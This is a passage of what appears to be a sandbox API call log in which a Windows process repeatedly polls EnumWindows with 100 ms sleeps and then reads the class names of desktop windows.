(lpEnumFunc=0x423dd0, lParam=0x410000) [0211.573] Sleep (dwMilliseconds=0x64) [0211.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.575] Sleep (dwMilliseconds=0x64) [0211.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.578] Sleep (dwMilliseconds=0x64) [0211.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.579] Sleep (dwMilliseconds=0x64) [0211.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.581] Sleep (dwMilliseconds=0x64) [0211.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.583] Sleep (dwMilliseconds=0x64) [0211.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.584] Sleep (dwMilliseconds=0x64) [0211.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.586] Sleep (dwMilliseconds=0x64) [0211.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.587] Sleep (dwMilliseconds=0x64) [0211.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.588] Sleep (dwMilliseconds=0x64) [0211.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.590] Sleep (dwMilliseconds=0x64) [0211.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.592] Sleep (dwMilliseconds=0x64) [0211.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.594] Sleep (dwMilliseconds=0x64) [0211.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.595] Sleep (dwMilliseconds=0x64) [0211.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.596] Sleep (dwMilliseconds=0x64) [0211.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.599] Sleep (dwMilliseconds=0x64) [0211.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.601] Sleep (dwMilliseconds=0x64) [0211.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.603] Sleep (dwMilliseconds=0x64) [0211.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.608] Sleep (dwMilliseconds=0x64) [0211.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.610] Sleep (dwMilliseconds=0x64) [0211.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.611] Sleep (dwMilliseconds=0x64) [0211.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.613] Sleep (dwMilliseconds=0x64) [0211.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.615] Sleep (dwMilliseconds=0x64) [0211.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.616] Sleep (dwMilliseconds=0x64) [0211.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.618] Sleep (dwMilliseconds=0x64) [0211.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.623] Sleep (dwMilliseconds=0x64) [0211.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.625] Sleep (dwMilliseconds=0x64) [0211.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.626] Sleep (dwMilliseconds=0x64) [0211.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.628] Sleep (dwMilliseconds=0x64) [0211.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.629] Sleep (dwMilliseconds=0x64) [0211.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.631] Sleep (dwMilliseconds=0x64) [0211.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.633] Sleep (dwMilliseconds=0x64) [0211.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.634] Sleep (dwMilliseconds=0x64) [0211.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.650] Sleep (dwMilliseconds=0x64) [0211.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.652] Sleep (dwMilliseconds=0x64) [0211.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.653] Sleep (dwMilliseconds=0x64) [0211.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.655] Sleep (dwMilliseconds=0x64) [0211.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.657] Sleep (dwMilliseconds=0x64) [0211.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.659] Sleep (dwMilliseconds=0x64) [0211.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.660] Sleep (dwMilliseconds=0x64) [0211.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.662] Sleep (dwMilliseconds=0x64) [0211.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.664] Sleep (dwMilliseconds=0x64) [0211.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.665] Sleep (dwMilliseconds=0x64) [0211.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.668] Sleep (dwMilliseconds=0x64) [0211.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.670] Sleep (dwMilliseconds=0x64) [0211.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.671] Sleep (dwMilliseconds=0x64) [0211.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.673] Sleep (dwMilliseconds=0x64) [0211.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.675] Sleep (dwMilliseconds=0x64) [0211.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.678] Sleep (dwMilliseconds=0x64) [0211.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.680] Sleep (dwMilliseconds=0x64) [0211.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.682] Sleep (dwMilliseconds=0x64) [0211.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.684] Sleep (dwMilliseconds=0x64) [0211.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.686] Sleep (dwMilliseconds=0x64) [0211.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.688] Sleep (dwMilliseconds=0x64) [0211.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.689] Sleep (dwMilliseconds=0x64) [0211.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.691] Sleep (dwMilliseconds=0x64) [0211.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.693] Sleep (dwMilliseconds=0x64) [0211.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.695] Sleep (dwMilliseconds=0x64) [0211.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.697] Sleep (dwMilliseconds=0x64) [0211.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.699] Sleep (dwMilliseconds=0x64) [0211.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.700] Sleep (dwMilliseconds=0x64) [0211.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.703] Sleep (dwMilliseconds=0x64) [0211.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.704] Sleep (dwMilliseconds=0x64) [0211.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.706] Sleep (dwMilliseconds=0x64) [0211.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.708] Sleep (dwMilliseconds=0x64) [0211.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.709] Sleep (dwMilliseconds=0x64) [0211.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.711] Sleep (dwMilliseconds=0x64) [0211.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.712] Sleep (dwMilliseconds=0x64) [0211.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.714] Sleep (dwMilliseconds=0x64) [0211.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.716] Sleep (dwMilliseconds=0x64) [0211.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.717] Sleep (dwMilliseconds=0x64) [0211.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.719] Sleep (dwMilliseconds=0x64) [0211.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.720] Sleep (dwMilliseconds=0x64) [0211.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.722] Sleep (dwMilliseconds=0x64) [0211.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.724] Sleep (dwMilliseconds=0x64) [0211.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.725] Sleep (dwMilliseconds=0x64) [0211.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.727] Sleep (dwMilliseconds=0x64) [0211.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.729] Sleep (dwMilliseconds=0x64) [0211.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.731] Sleep (dwMilliseconds=0x64) [0211.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.733] Sleep (dwMilliseconds=0x64) [0211.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.734] Sleep (dwMilliseconds=0x64) [0211.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.737] Sleep (dwMilliseconds=0x64) [0211.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.739] Sleep (dwMilliseconds=0x64) [0211.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.740] Sleep (dwMilliseconds=0x64) [0211.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.742] Sleep (dwMilliseconds=0x64) [0211.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.743] Sleep (dwMilliseconds=0x64) [0211.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.745] Sleep (dwMilliseconds=0x64) [0211.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.413] Sleep (dwMilliseconds=0x64) [0212.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.506] Sleep (dwMilliseconds=0x64) [0212.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.537] Sleep (dwMilliseconds=0x64) [0212.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.615] Sleep (dwMilliseconds=0x64) [0212.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.726] Sleep (dwMilliseconds=0x64) [0212.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.743] Sleep (dwMilliseconds=0x64) [0212.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.834] Sleep (dwMilliseconds=0x64) [0212.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.996] Sleep (dwMilliseconds=0x64) [0212.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.998] Sleep (dwMilliseconds=0x64) [0212.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0212.999] Sleep (dwMilliseconds=0x64) [0213.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.001] Sleep (dwMilliseconds=0x64) [0213.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.010] Sleep (dwMilliseconds=0x64) [0213.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.018] Sleep (dwMilliseconds=0x64) [0213.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.020] Sleep (dwMilliseconds=0x64) [0213.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.023] Sleep (dwMilliseconds=0x64) [0213.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.026] Sleep (dwMilliseconds=0x64) [0213.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.224] Sleep (dwMilliseconds=0x64) [0213.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.281] Sleep (dwMilliseconds=0x64) [0213.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.283] Sleep (dwMilliseconds=0x64) [0213.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.288] Sleep (dwMilliseconds=0x64) [0213.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.407] Sleep (dwMilliseconds=0x64) [0213.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.464] Sleep (dwMilliseconds=0x64) [0213.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.616] Sleep (dwMilliseconds=0x64) [0213.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.856] Sleep (dwMilliseconds=0x64) [0213.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0213.903] Sleep (dwMilliseconds=0x64) [0214.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.129] Sleep (dwMilliseconds=0x64) [0214.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.170] Sleep (dwMilliseconds=0x64) [0214.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.220] Sleep (dwMilliseconds=0x64) [0214.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.259] Sleep (dwMilliseconds=0x64) [0214.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.332] Sleep (dwMilliseconds=0x64) [0214.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.333] Sleep (dwMilliseconds=0x64) [0214.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.335] Sleep (dwMilliseconds=0x64) [0214.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.337] Sleep (dwMilliseconds=0x64) [0214.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.341] Sleep (dwMilliseconds=0x64) [0214.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.384] Sleep (dwMilliseconds=0x64) [0214.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.443] Sleep (dwMilliseconds=0x64) [0214.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.498] Sleep (dwMilliseconds=0x64) [0214.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.499] Sleep (dwMilliseconds=0x64) [0214.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.501] Sleep (dwMilliseconds=0x64) [0214.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.502] Sleep (dwMilliseconds=0x64) [0214.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.506] Sleep (dwMilliseconds=0x64) [0214.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.550] Sleep (dwMilliseconds=0x64) [0214.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.616] Sleep (dwMilliseconds=0x64) [0214.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.662] Sleep (dwMilliseconds=0x64) [0214.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.664] Sleep (dwMilliseconds=0x64) [0214.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.666] Sleep (dwMilliseconds=0x64) [0214.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.668] Sleep (dwMilliseconds=0x64) [0214.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.744] Sleep (dwMilliseconds=0x64) [0214.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0214.799] Sleep (dwMilliseconds=0x64) [0215.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0215.034] Sleep (dwMilliseconds=0x64) [0215.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0215.164] Sleep (dwMilliseconds=0x64) [0215.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0215.201] Sleep (dwMilliseconds=0x64) [0215.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0215.300] Sleep (dwMilliseconds=0x64) [0215.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0215.374] Sleep (dwMilliseconds=0x64) [0215.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0215.396] Sleep (dwMilliseconds=0x64) [0215.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0215.398] Sleep (dwMilliseconds=0x64) [0215.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.308] Sleep (dwMilliseconds=0x64) [0216.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.377] Sleep (dwMilliseconds=0x64) [0216.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.491] Sleep (dwMilliseconds=0x64) [0216.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.493] Sleep (dwMilliseconds=0x64) [0216.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.495] Sleep (dwMilliseconds=0x64) [0216.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.496] Sleep (dwMilliseconds=0x64) [0216.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.499] Sleep (dwMilliseconds=0x64) [0216.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.501] Sleep (dwMilliseconds=0x64) [0216.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.502] Sleep (dwMilliseconds=0x64) [0216.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.504] Sleep (dwMilliseconds=0x64) [0216.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.505] Sleep (dwMilliseconds=0x64) [0216.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.507] Sleep (dwMilliseconds=0x64) [0216.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.509] Sleep (dwMilliseconds=0x64) [0216.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.511] Sleep (dwMilliseconds=0x64) [0216.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.513] Sleep (dwMilliseconds=0x64) [0216.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.515] Sleep (dwMilliseconds=0x64) [0216.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.517] Sleep (dwMilliseconds=0x64) [0216.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.518] Sleep (dwMilliseconds=0x64) [0216.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.520] Sleep (dwMilliseconds=0x64) [0216.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.578] Sleep (dwMilliseconds=0x64) [0216.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.629] Sleep (dwMilliseconds=0x64) [0216.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.632] Sleep (dwMilliseconds=0x64) [0216.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.636] Sleep (dwMilliseconds=0x64) [0216.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.638] Sleep (dwMilliseconds=0x64) [0216.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.640] Sleep (dwMilliseconds=0x64) [0216.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.641] Sleep (dwMilliseconds=0x64) [0216.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.642] Sleep (dwMilliseconds=0x64) [0216.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.644] Sleep (dwMilliseconds=0x64) [0216.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.645] Sleep (dwMilliseconds=0x64) [0216.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.647] Sleep (dwMilliseconds=0x64) [0216.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.649] Sleep (dwMilliseconds=0x64) [0216.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.650] Sleep (dwMilliseconds=0x64) [0216.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.652] Sleep (dwMilliseconds=0x64) [0216.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.653] Sleep (dwMilliseconds=0x64) [0216.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.656] Sleep (dwMilliseconds=0x64) [0216.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.657] Sleep (dwMilliseconds=0x64) [0216.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.706] Sleep (dwMilliseconds=0x64) [0216.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.795] Sleep (dwMilliseconds=0x64) [0216.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.858] Sleep (dwMilliseconds=0x64) [0216.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0216.972] Sleep (dwMilliseconds=0x64) [0217.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.034] Sleep (dwMilliseconds=0x64) [0217.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.224] Sleep (dwMilliseconds=0x64) [0217.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.341] Sleep (dwMilliseconds=0x64) [0217.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.376] Sleep (dwMilliseconds=0x64) [0217.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.483] Sleep (dwMilliseconds=0x64) [0217.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.573] Sleep (dwMilliseconds=0x64) [0217.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.588] Sleep (dwMilliseconds=0x64) [0217.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.674] Sleep (dwMilliseconds=0x64) [0217.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.798] Sleep (dwMilliseconds=0x64) [0217.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.806] Sleep (dwMilliseconds=0x64) [0217.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.815] Sleep (dwMilliseconds=0x64) [0217.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.819] Sleep (dwMilliseconds=0x64) [0217.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0217.820] Sleep (dwMilliseconds=0x64) [0218.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.007] Sleep (dwMilliseconds=0x64) [0218.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.138] Sleep (dwMilliseconds=0x64) [0218.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.140] Sleep (dwMilliseconds=0x64) [0218.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.142] Sleep (dwMilliseconds=0x64) [0218.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.143] Sleep (dwMilliseconds=0x64) [0218.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.145] Sleep (dwMilliseconds=0x64) [0218.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.146] Sleep (dwMilliseconds=0x64) [0218.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.227] Sleep (dwMilliseconds=0x64) [0218.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0218.289] Sleep (dwMilliseconds=0x64) [0218.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.002] Sleep (dwMilliseconds=0x64) [0219.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.073] Sleep (dwMilliseconds=0x64) [0219.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.100] Sleep (dwMilliseconds=0x64) [0219.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.134] Sleep (dwMilliseconds=0x64) [0219.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.165] Sleep (dwMilliseconds=0x64) [0219.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.244] Sleep (dwMilliseconds=0x64) [0219.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.246] Sleep (dwMilliseconds=0x64) [0219.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.256] Sleep (dwMilliseconds=0x64) [0219.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.258] Sleep (dwMilliseconds=0x64) [0219.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.264] Sleep (dwMilliseconds=0x64) [0219.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.266] Sleep (dwMilliseconds=0x64) [0219.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.300] Sleep (dwMilliseconds=0x64) [0219.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.324] Sleep (dwMilliseconds=0x64) [0219.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.425] Sleep (dwMilliseconds=0x64) [0219.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.426] Sleep (dwMilliseconds=0x64) [0219.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.443] Sleep (dwMilliseconds=0x64) [0219.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) returned 1 [0219.453] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0219.453] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0219.453] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0219.453] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.453] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.453] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.453] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.453] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.453] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0219.453] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.453] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.454] GetClassNameA (in: hWnd=0x10176, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0219.454] GetClassNameA (in: hWnd=0x10168, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0219.454] GetClassNameA (in: hWnd=0x10158, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0219.454] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.454] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0219.454] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x1014fd50, 